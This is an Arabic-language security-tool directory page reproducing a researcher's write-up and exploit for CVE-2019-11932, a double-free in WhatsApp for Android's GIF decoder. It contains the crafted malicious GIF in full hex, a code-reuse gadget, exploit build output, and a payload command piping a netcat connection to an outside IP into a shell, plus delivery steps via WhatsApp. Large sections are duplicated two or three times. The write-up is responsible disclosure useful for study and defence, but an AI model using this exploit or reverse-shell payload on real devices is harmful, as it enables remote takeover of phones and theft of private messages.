Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-11932 — مستند فني وكود استغلال لـ CVE-2019-11932، وهي ثغرة من نوع double-free في تطبيق WhatsApp لنظام Android تؤدي إلى تنفيذ تعليمات برمجية عن بُعد عبر ملف GIF معدل. | Kitploit
أدوات/GitHubGitHub/infiniteloopers/cve-2019-11932
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالأمن الجوالالتعلم والتعليماستغلال الملفات الثنائية
GitHubinfiniteloopers/cve-2019-11932

CVE-2019-11932

مستند فني وكود استغلال لـ CVE-2019-11932، وهي ثغرة من نوع double-free في تطبيق WhatsApp لنظام Android تؤدي إلى تنفيذ تعليمات برمجية عن بُعد عبر ملف GIF معدل.

عرض المستودع
42منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-11932

كيف تتحول ثغرة التحرير المزدوج في واتساب إلى تنفيذ تعليمات برمجية عن بعد (RCE)

سأشارككم عن ثغرة تحرير مزدوج (double-free) اكتشفتها في واتساب لأندرويد، وكيف حولتها إلى استغلال لتنفيذ تعليمات برمجية عن بُعد (RCE). أبلغت فيسبوك بهذا الأمر. اعترفت فيسبوك بالثغرة وأصلحتها رسميًا في إصدار واتساب 2.19.244. ساعدت فيسبوك في حجز CVE-2019-11932 لهذه المشكلة.

مستخدمو واتساب، يرجى التحديث إلى أحدث إصدار من واتساب (2.19.244 أو أعلى) للحفاظ على سلامتكم من هذه الثغرة.

الخطوات كالتالي:

0:16 يرسل المهاجم ملف GIF إلى المستخدم عبر أي قناة

قد تكون إحدى هذه القنوات هي إرسال المستند عبر واتساب (أي الضغط على زر مشبك الورق واختيار مستند لإرسال ملف GIF المخترق) إذا كان المهاجم في قائمة جهات اتصال المستخدم (أي صديق)، يتم تنزيل ملف GIF المخترق تلقائيًا دون أي تفاعل من المستخدم.

0:24 يريد المستخدم إرسال ملف وسائط إلى أي من أصدقائه على واتساب. لذلك يضغط على زر مشبك الورق ويفتح معرض واتساب لاختيار ملف وسائط لإرساله إلى صديقه.

لاحظ أن المستخدم لا يحتاج إلى إرسال أي شيء، فمجرد فتح معرض واتساب يؤدي إلى تفعيل الثغرة. لا حاجة إلى لمس إضافي بعد الضغط على معرض واتساب.

0:30 بما أن واتساب يعرض معاينات لكل وسائط (بما في ذلك ملف GIF المستلم)، فإنه سيفعل ثغرة التحرير المزدوج واستغلالنا لـ RCE.

ثغرة التحرير المزدوج في DDGifSlurp في файл decoding.c في مكتبة libpl_droidsonroids_gif

عندما يفتح مستخدم واتساب عرض المعرض في واتساب لإرسال ملف وسائط، يقوم واتساب بتحليله باستخدام مكتبة محلية تسمى libpl_droidsonroids_gif.so لإنشاء معاينة لملف GIF. مكتبة libpl_droidsonroids_gif.so هي مكتبة مفتوحة المصدر مع كود المصدر متاح على https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

يحتوي ملف GIF على إطارات متعددة مشفرة. لتخزين الإطارات المفكوكة، يتم استخدام مخزن مؤقت باسم rasterBits. إذا كانت جميع الإطارات لها نفس الحجم، يتم إعادة استخدام rasterBits لتخزين الإطارات المفكوكة دون إعادة تخصيص. ومع ذلك، سيتم إعادة تخصيص rasterBits إذا تم استيفاء أحد الشروط الثلاثة التالية:

width * height > originalWidth * originalHeight

width - originalWidth > 0

height - originalHeight > 0

إعادة التخصيص هي مزيج من free و malloc. إذا كان حجم إعادة التخصيص هو 0، فإنه مجرد free. لنفترض أن لدينا ملف GIF يحتوي على 3 إطارات بأحجام 100 و 0 و 0.

بعد إعادة التخصيص الأولى، لدينا مخزن info->rasterBits بحجم 100.

في إعادة التخصيص الثانية بقيمة 0، يتم تحرير مخزن info->rasterBits.

في إعادة التخصيص الثالثة بقيمة 0، يتم تحرير info->rasterBits مرة أخرى.

يؤدي هذا إلى ثغرة تحرير مزدوج. يمكن العثور على موقع التفعيل في ملف decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- التحرير المزدوج هنا sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }

كيف تتحول ثغرة التحرير المزدوج في واتساب إلى تنفيذ تعليمات برمجية عن بعد (RCE) 14 دقيقة قراءة على هذه الصفحة عرض توضيحي (DEMO) ثغرة التحرير المزدوج في DDGifSlurp في decoding.c في مكتبة libpl_droidsonroids_gif التحكم في سجل PC (Program Counter) التعامل مع ASLR و W^X وضع كل شيء معًا الإصدارات المتأثرة ناقلات الهجوم في منشور المدونة هذا، سأشارككم عن ثغرة تحرير مزدوج (double-free) اكتشفتها في واتساب لأندرويد، وكيف حولتها إلى استغلال لتنفيذ تعليمات برمجية عن بُعد (RCE). أبلغت فيسبوك بهذا الأمر. اعترفت فيسبوك بالثغرة وأصلحتها رسميًا في إصدار واتساب 2.19.244. ساعدت فيسبوك في حجز CVE-2019-11932 لهذه المشكلة.

مستخدمو واتساب، يرجى التحديث إلى أحدث إصدار من واتساب (2.19.244 أو أعلى) للحفاظ على سلامتكم من هذه الثغرة.

عرض توضيحي (Demo) https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

رابط Google Drive للتحميل إذا كان الرابط أعلاه غير متاح https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

الخطوات كالتالي:

0:16 يرسل المهاجم ملف GIF إلى المستخدم عبر أي قناة قد تكون إحدى هذه القنوات هي إرسال المستند عبر واتساب (أي الضغط على زر مشبك الورق واختيار مستند لإرسال ملف GIF المخترق) إذا كان المهاجم في قائمة جهات اتصال المستخدم (أي صديق)، يتم تنزيل ملف GIF المخترق تلقائيًا دون أي تفاعل من المستخدم. 0:24 يريد المستخدم إرسال ملف وسائط إلى أي من أصدقائه على واتساب. لذلك يضغط على زر مشبك الورق ويفتح معرض واتساب لاختيار ملف وسائط لإرساله إلى صديقه. لاحظ أن المستخدم لا يحتاج إلى إرسال أي شيء، فمجرد فتح معرض واتساب يؤدي إلى تفعيل الثغرة. لا حاجة إلى لمس إضافي بعد الضغط على معرض واتساب. 0:30 بما أن واتساب يعرض معاينات لكل وسائط (بما في ذلك ملف GIF المستلم)، فإنه سيفعل ثغرة التحرير المزدوج واستغلالنا لـ RCE. ثغرة التحرير المزدوج في DDGifSlurp في decoding.c في مكتبة libpl_droidsonroids_gif عندما يفتح مستخدم واتساب عرض المعرض في واتساب لإرسال ملف وسائط، يقوم واتساب بتحليله باستخدام مكتبة محلية تسمى libpl_droidsonroids_gif.so لإنشاء معاينة لملف GIF. مكتبة libpl_droidsonroids_gif.so هي مكتبة مفتوحة المصدر مع كود المصدر متاح على https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

يحتوي ملف GIF على إطارات متعددة مشفرة. لتخزين الإطارات المفكوكة، يتم استخدام مخزن مؤقت باسم rasterBits. إذا كانت جميع الإطارات لها نفس الحجم، يتم إعادة استخدام rasterBits لتخزين الإطارات المفكوكة دون إعادة تخصيص. ومع ذلك، سيتم إعادة تخصيص rasterBits إذا تم استيفاء أحد الشروط الثلاثة التالية:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 إعادة التخصيص هي مزيج من free و malloc. إذا كان حجم إعادة التخصيص هو 0، فإنه مجرد free. لنفترض أن لدينا ملف GIF يحتوي على 3 إطارات بأحجام 100 و 0 و 0.

بعد إعادة التخصيص الأولى، لدينا مخزن info->rasterBits بحجم 100. في إعادة التخصيص الثانية بقيمة 0، يتم تحرير مخزن info->rasterBits. في إعادة التخصيص الثالثة بقيمة 0، يتم تحرير info->rasterBits مرة أخرى. يؤدي هذا إلى ثغرة تحرير مزدوج. يمكن العثور على موقع التفعيل في ملف decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- التحرير المزدوج هنا sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } في نظام أندرويد، يؤدي التحرير المزدوج للذاكرة بحجم N إلى إرجاع نفس العنوان لعمليتي تخصيص ذاكرة لاحقتين من الحجم N.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

كيف تتحول ثغرة التحرير المزدوج في واتساب إلى تنفيذ تعليمات برمجية عن بعد (RCE) 14 دقيقة قراءة على هذه الصفحة عرض توضيحي (DEMO) ثغرة التحرير المزدوج في DDGifSlurp في decoding.c في مكتبة libpl_droidsonroids_gif التحكم في سجل PC (Program Counter) التعامل مع ASLR و W^X وضع كل شيء معًا الإصدارات المتأثرة ناقلات الهجوم في منشور المدونة هذا، سأشارككم عن ثغرة تحرير مزدوج (double-free) اكتشفتها في واتساب لأندرويد، وكيف حولتها إلى استغلال لتنفيذ تعليمات برمجية عن بُعد (RCE). أبلغت فيسبوك بهذا الأمر. اعترفت فيسبوك بالثغرة وأصلحتها رسميًا في إصدار واتساب 2.19.244. ساعدت فيسبوك في حجز CVE-2019-11932 لهذه المشكلة.

مستخدمو واتساب، يرجى التحديث إلى أحدث إصدار من واتساب (2.19.244 أو أعلى) للحفاظ على سلامتكم من هذه الثغرة.

عرض توضيحي (Demo) https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view

رابط Google Drive للتحميل إذا كان الرابط أعلاه غير متاح https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK

الخطوات كالتالي:

0:16 يرسل المهاجم ملف GIF إلى المستخدم عبر أي قناة قد تكون إحدى هذه القنوات هي إرسال المستند عبر واتساب (أي الضغط على زر مشبك الورق واختيار مستند لإرسال ملف GIF المخترق) إذا كان المهاجم في قائمة جهات اتصال المستخدم (أي صديق)، يتم تنزيل ملف GIF المخترق تلقائيًا دون أي تفاعل من المستخدم. 0:24 يريد المستخدم إرسال ملف وسائط إلى أي من أصدقائه على واتساب. لذلك يضغط على زر مشبك الورق ويفتح معرض واتساب لاختيار ملف وسائط لإرساله إلى صديقه. لاحظ أن المستخدم لا يحتاج إلى إرسال أي شيء، فمجرد فتح معرض واتساب يؤدي إلى تفعيل الثغرة. لا حاجة إلى لمس إضافي بعد الضغط على معرض واتساب. 0:30 بما أن واتساب يعرض معاينات لكل وسائط (بما في ذلك ملف GIF المستلم)، فإنه سيفعل ثغرة التحرير المزدوج واستغلالنا لـ RCE. ثغرة التحرير المزدوج في DDGifSlurp في decoding.c في مكتبة libpl_droidsonroids_gif عندما يفتح مستخدم واتساب عرض المعرض في واتساب لإرسال ملف وسائط، يقوم واتساب بتحليله باستخدام مكتبة محلية تسمى libpl_droidsonroids_gif.so لإنشاء معاينة لملف GIF. مكتبة libpl_droidsonroids_gif.so هي مكتبة مفتوحة المصدر مع كود المصدر متاح على https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.

يحتوي ملف GIF على إطارات متعددة مشفرة. لتخزين الإطارات المفكوكة، يتم استخدام مخزن مؤقت باسم rasterBits. إذا كانت جميع الإطارات لها نفس الحجم، يتم إعادة استخدام rasterBits لتخزين الإطارات المفكوكة دون إعادة تخصيص. ومع ذلك، سيتم إعادة تخصيص rasterBits إذا تم استيفاء أحد الشروط الثلاثة التالية:

width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 إعادة التخصيص هي مزيج من free و malloc. إذا كان حجم إعادة التخصيص هو 0، فإنه مجرد free. لنفترض أن لدينا ملف GIF يحتوي على 3 إطارات بأحجام 100 و 0 و 0.

بعد إعادة التخصيص الأولى، لدينا مخزن info->rasterBits بحجم 100. في إعادة التخصيص الثانية بقيمة 0، يتم تحرير مخزن info->rasterBits. في إعادة التخصيص الثالثة بقيمة 0، يتم تحرير info->rasterBits مرة أخرى. يؤدي هذا إلى ثغرة تحرير مزدوج. يمكن العثور على موقع التفعيل في ملف decoding.c:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- التحرير المزدوج هنا sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } في نظام أندرويد، يؤدي التحرير المزدوج للذاكرة بحجم N إلى إرجاع نفس العنوان لعمليتي تخصيص ذاكرة لاحقتين من الحجم N.

(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250

(lldb) p (int)free($foo) (int) $15 = 0

(lldb) p (int)free($foo) (int) $16 = 0

(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350

(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0

(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0

(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250

(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250

في المقتطف أعلاه، تم تحرير المتغير $foo مرتين. ونتيجة لذلك، يعيد التخصيصان التاليان ($20 و $21) نفس العنوان. انظر الآن إلى هيكل GifInfo في gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- هناك مؤشر دالة هنا GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- هناك مؤشر دالة آخر هنا jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };

نقوم بعد ذلك بصياغة ملف GIF بثلاثة إطارات بالأحجام أدناه: sizeof(GifInfo) 0 0

عند فتح معرض واتساب، يقوم ملف GIF المذكور بتفعيل ثغرة التحرير المزدوج على مخزن rasterBits بحجم sizeof(GifInfo). ومن المثير للاهتمام، في معرض واتساب، يتم تحليل ملف GIF مرتين. عند تحليل ملف GIF المذكور مرة أخرى، يتم إنشاء كائن GifInfo آخر. بسبب سلوك التحرير المزدوج في أندرويد، سيشير كائن GifInfo info و info->rasterBits إلى نفس العنوان. ستقوم الدالة DDGifSlurp() بعد ذلك بفك تشفير الإطار الأول في مخزن info->rasterBits، وبالتالي الكتابة فوق info ودالة rewindFunction() الخاصة به، والتي يتم استدعاؤها في نهاية الدالة DDGifSlurp().

التحكم في سجل PC (Program Counter)

ملف GIF الذي نحتاج إلى صياغته هو كما يلي: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

يحتوي على أربعة إطارات: الإطار 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF الإطار 2: 2C 00 00 00 00 1C 0F 00 00 00 00 الإطار 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 الإطار 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 التسلسل التالي هو ما يحدث عند فتح معرض واتساب:

التحليل الأول: التهيئة: GifInfo info = malloc(168); الإطار 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); الإطار 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); الإطار 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); الإطار 4: لا يهم، فهو موجود لجعل ملف GIF صالحًا التحليل الثاني: التهيئة: GifInfo info = malloc(168); الإطار 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); الإطارات 2 و 3 و 4: لا يهم النهاية: info->rewindFunction(info); بسبب ثغرة التحرير المزدوج التي حدثت في التحليل الأول، يشير info و info->rasterBits الآن إلى نفس الموقع. مع الإطار الأول المصمم كما ذكرنا، يمكننا التحكم في rewindFunction و PC عند استدعاء info->rewindFunction(info);. لاحظ أن جميع الإطارات مشفرة بتشفير LZW. يجب علينا استخدام أداة تشفير LZW لتشفير الإطارات. يؤدي ملف GIF أعلاه إلى تعطل كما يلي:

--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc

التعامل مع ASLR و W^X

بعد التحكم في PC، نريد تحقيق تنفيذ التعليمة البرمجية عن بعد. في أندرويد، لا يمكننا تنفيذ كود على مناطق غير قابلة للتنفيذ بسبب W^X (أي المكدس والكومة). أسهل طريقة للتعامل مع W^X في حالتنا هي تنفيذ الأمر التالي:

system("toybox nc 192.168.2.72 4444 | sh"); لذلك، نحتاج أن يشير PC إلى دالة system() في libc.so وأن يشير X0 إلى "toybox nc 192.168.2.72 4444 | sh". لا يمكن القيام بذلك مباشرة. نحتاج أولاً إلى جعل PC يقفز إلى وسيط (gadget) وسيط، والذي يقوم بتعيين X0 إلى "toybox nc 192.168.2.72 4444 | sh" والقفز إلى system(). من التفكيك حول info->rewindFunction(info);، يمكننا رؤية أن كلاً من X0 و X19 يشيران إلى info->rasterBits (أو info، لأنهما يشيران إلى نفس الموقع)، بينما X8 هو في الواقع info->rewindFunction.

تفكيك حول info->rewindFunctionيوجد أداة (gadget) في مكتبة libhwui.so تفي بالغرض تمامًا:

ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 لنفترض أن عنوان الأداة أعلاه هو AAAAAAAA وأن عنوان دالة system() هو BBBBBBBB. سيكون المخزن المؤقت rasterBits (الإطار 1) قبل ترميز LZW كما يلي:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. في نظام Android العادي، نظرًا لأن كل العمليات تنبثق من Zygotes، حتى مع ASLR، فإن عناويننا AAAAAAAA وBBBBBBBB لا تتغير إذا تم إيقاف WhatsApp وإعادة تشغيله. ومع ذلك، لا يمكنها البقاء بعد إعادة تشغيل النظام. للحصول على عناوين AAAAAAAA وBBBBBBBB موثوقة، نحتاج إلى ثغرة كشف معلومات تمنحنا العنوان الأساسي لمكتبتي libc.so وlibhwui.so. هذه الثغرة خارج نطاق هذه المقالة.

تجميع كل شيء معًا

ما عليك سوى تجميع الكود الموجود في هذا المستودع. لاحظ أنه يجب استبدال عنوان دالة system() والأداة بالعنوان الفعلي الذي تم العثور عليه بواسطة ثغرة كشف المعلومات (غير مشمولة في هذه المقالة). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);

root@kitploit:~
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);

قم بتشغيل الكود لإنشاء ملف GIF التالف:

notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B ثم انسخ المحتوى إلى ملف GIF وأرسله كمستند عبر WhatsApp إلى مستخدم WhatsApp آخر. لاحظ أنه يجب ألا يُرسل كملف وسائط (Media)، وإلا سيحاول WhatsApp تحويله إلى MP4 قبل الإرسال. عندما يتلقى المستخدم ملف GIF الخبيث، لن يحدث شيء حتى يفتح المستخدم معرض WhatsApp (Gallery) لإرسال ملف وسائط إلى صديقه/صديقته.

الإصدارات المتأثرة

يعمل الاستغلال بشكل جيد حتى إصدار WhatsApp 2.19.230. تم تصحيح الثغرة رسميًا في إصدار WhatsApp 2.19.244

يعمل الاستغلال بشكل جيد مع Android 8.1 و9.0، لكنه لا يعمل مع Android 8.0 والإصدارات الأقدم. في إصدارات Android القديمة، يمكن استمرار تشغيل ثغرة التحرير المزدوج (double-free). ومع ذلك، بسبب استدعاءات malloc من قبل النظام بعد التحرير المزدوج، يتعطل التطبيق قبل الوصول إلى النقطة التي نتمكن فيها من التحكم في سجل PC.

لاحظ أن فيسبوك أبلغ مطور مستودع android-gif-drawable بالمشكلة. تم دمج الإصلاح من فيسبوك أيضًا في المستودع الأصلي في إصدار بتاريخ 10 أغسطس. الإصدار 1.2.18 من android-gif-drawable آمن من ثغرة التحرير المزدوج.

نواقل الهجوم

مع الاستغلال أعلاه، يمكننا الحصول على ناقلين للهجوم:

  1. رفع الامتيازات محليًا (من تطبيق مستخدم إلى WhatsApp): يتم تثبيت تطبيق ضار على جهاز Android. يجمع التطبيق عناوين مكتبات Zygote ويُنشئ ملف GIF ضار يؤدي إلى تنفيذ كود في سياق WhatsApp. وهذا يسمح للتطبيق الضار بسرقة الملفات في صندوق الحماية (sandbox) الخاص بـ WhatsApp بما في ذلك قاعدة بيانات الرسائل.
  2. تنفيذ كود عن بُعد: بالاقتران مع تطبيق لديه ثغرة كشف معلومات ذاكرة عن بُعد (مثل المتصفح)، يمكن للمهاجم جمع عناوين مكتبات Zygote وإنشاء ملف GIF ضار لإرساله إلى المستخدم عبر WhatsApp (يجب أن يكون كمرفق، وليس كصورة من خلال منتقي المعرض (Gallery Picker)). بمجرد أن يفتح المستخدم عرض المعرض في WhatsApp (من لا يرسل ملفات وسائط للأصدقاء، أليس كذلك؟)، سيقوم ملف GIF بتشغيل شل عن بُعد في سياق WhatsApp.

المصدر

أفنان سدهيو Infiniteloopers.com

أنا لا أملك هذا، إذا كانت لديك مشكلات، يرجى الاتصال بالمالك.

تنزيل الأداة